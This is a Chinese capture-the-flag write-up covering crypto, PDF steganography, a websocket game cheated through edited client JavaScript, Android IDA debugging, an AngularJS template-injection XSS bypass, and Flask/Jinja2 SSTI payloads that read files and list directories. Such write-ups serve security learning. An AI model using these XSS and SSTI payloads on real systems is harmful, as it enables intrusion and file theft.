crypt01
思路: 解密,python 源码:
1 | def LShift(t, k): |
解密步骤:
- 根据
plain = bytearray("asdfghjk123456")
加密后得到out
,来推测出key
- 得到
key
以后,反向编写代码,通过flag
得到plain
获取key,并解密,源码为:
1 | __author__ = 'angelwhu' |
主要问题:
- plain为
asdfghjk123456
有14位,而out
为24位。其实是没有补全,猜测了两位78
。 - key为8位,是一一对应的加密,所以有16位,即可确定key。
misc100-pdf
思路: pdf隐写 搜索工具wbs43open,点击解密即可。有点坑。
hungry_game
思路: js代码修改调试,websocket原理。
- 对于
websocket
相关问题,好方法就是下载js代码,本地调试修改。
开始修改js:
首先,在style中加上
float:right;
,将控制面板调到右边,方便看。修改登录,没必要每次输入用户名和密码。
function asklogin() { defaultusername = localStorage.getItem('username'); if(defaultusername==null){ defaultusername = ''; } defaultpassword = localStorage.getItem('password'); if(defaultpassword==null){ defaultpassword = ''; } /* username = prompt('Input your email', defaultusername); if(username!=null){ localStorage.setItem('username',username) } password = prompt('Input your password',defaultpassword); if(password!=null){ localStorage.setItem('password',password) } */ username = "***"; password = "***"; data = JSON.stringify([msg('login', { 'username': username, 'password': password })]); ws.send(data); }
第一关
直接修改js代码,跳关即可。
第二关
直接跳关,会被服务器kick。需要进行伐木9999次,这时需要先发砍树9999次的数据,再跳关:
1 | tmp = 9999000 |
第三关
这里判断了每次收集钻石的个数,不超过50,写个循环发送即可:
1 | diamondtimes = 50; |
第三关
打BOSS: 这里猜一下,把attack对象,改成BOSS的位置即可:
1 | data = JSON.stringify([msg('attack', { |
打15下后,得到flag:
re1-apk
思路: android 反编译,动态调试。 先通过jeb反编译apk。然后动态调试apk和底层的so文件。这里记录下debug方法。 android debug方法:
1 | http://drops.wooyun.org/tips/6840 |
把ida目录下android_server传到android 目录中
adb push android_server /data/local/tmp/ adb shell 进入模拟器 cd /data/local/tmp/ chmod 755 android_server ./android_server 看到监听端口 23946
adb转发调试端口:
adb forward tcp:23946 tcp:23946
打开ddms(tools/monitor.bat),这样才能进行调试.
设置ida:
debug ---> process options ---> hostname:localhost port: 23946
开始调试:
在虚拟机中打开apk程序 debug ---> attach 对应的apk程序即可。
在so文件逻辑中,下断点,关键位置在最后判断处。没有对密码进行处理。直接下断点,即可得到flag。
问题:
- 不能使用Genymotion,只能使用自带模拟器。虽然启动慢,但大约1分钟,如果启动太慢,说明出了问题。
- 自带模拟器中,选择Nexus_5版本,resize一下屏幕大小。
- 使用arm系统镜像,才能运行androidserver。
- 选择API 16,才能运行androidserver。
- 调试之前,打开ddms,这样程序才不会闪退。
- 直接使用sdk中的AVD和SDK Manager即可,无需依赖其他IDE(如:eclipse,android studio)。
web02-xss
思路:AngularJS框架模板注入 ,xss
1 | http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html |
AngularJS框架具有其特殊的语法:
1 | {{表达式}} |
可以执行js脚本,绕过过滤,进而实现xss。 下载对应js,进行本地调试。网上有个payload,可以弹框:
1 | { {'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}} |
然后,直接修改下payload,绕过过滤就行:
1 | http://960a23aa.seclover.com/index.php?xss={ {%27a%27.coonnstructor.prototype.charAt=[].join;$evevalal(%27x=1}%20}%20};alealertrt(1)//%27);}} |
web04-python-SSTI
思路:flask 模板注入
- 与xss模板注入类似,都是由特殊语法
{{表达式}},{% 循环语句等 %}
- 可以通过注入和python特性,可以执行任意代码。
- 若使用system执行命令,无法得到回显。 python使用popen函数才会有回显。
参考文章:
1 | https://hexplo.it/escaping-the-csawctf-python-sandbox/ |
payload:
1 | { { [].__class__.__base__.__subclasses__()[40]('ssctf.py').read() }} |
获取绝对地址:
1 | {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{ { c.__init__.func_globals['linecache'].__dict__['os'].path.realpath(__file__) }}{% endif %}{% endfor %} |
获取当前文件列表:
1 | {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{ { c.__init__.func_globals['linecache'].__dict__['os'].listdir('.') }}{% endif %}{% endfor %} |
问题:
- github上对名字有字数限制。 调整payload,对其进行直接处理,如上payload。
- 环境无法执行命令,思考如何遍历文件? 使用
__file__
全局变量,获取当前文件名即可。
测试payload:
1 | To visit python internal varibles. |
- 上述注入均可准确执行,运行ssctf_demo.py,即可测试。
测试Demo如下:
1 | # -*- coding: utf-8 -*- |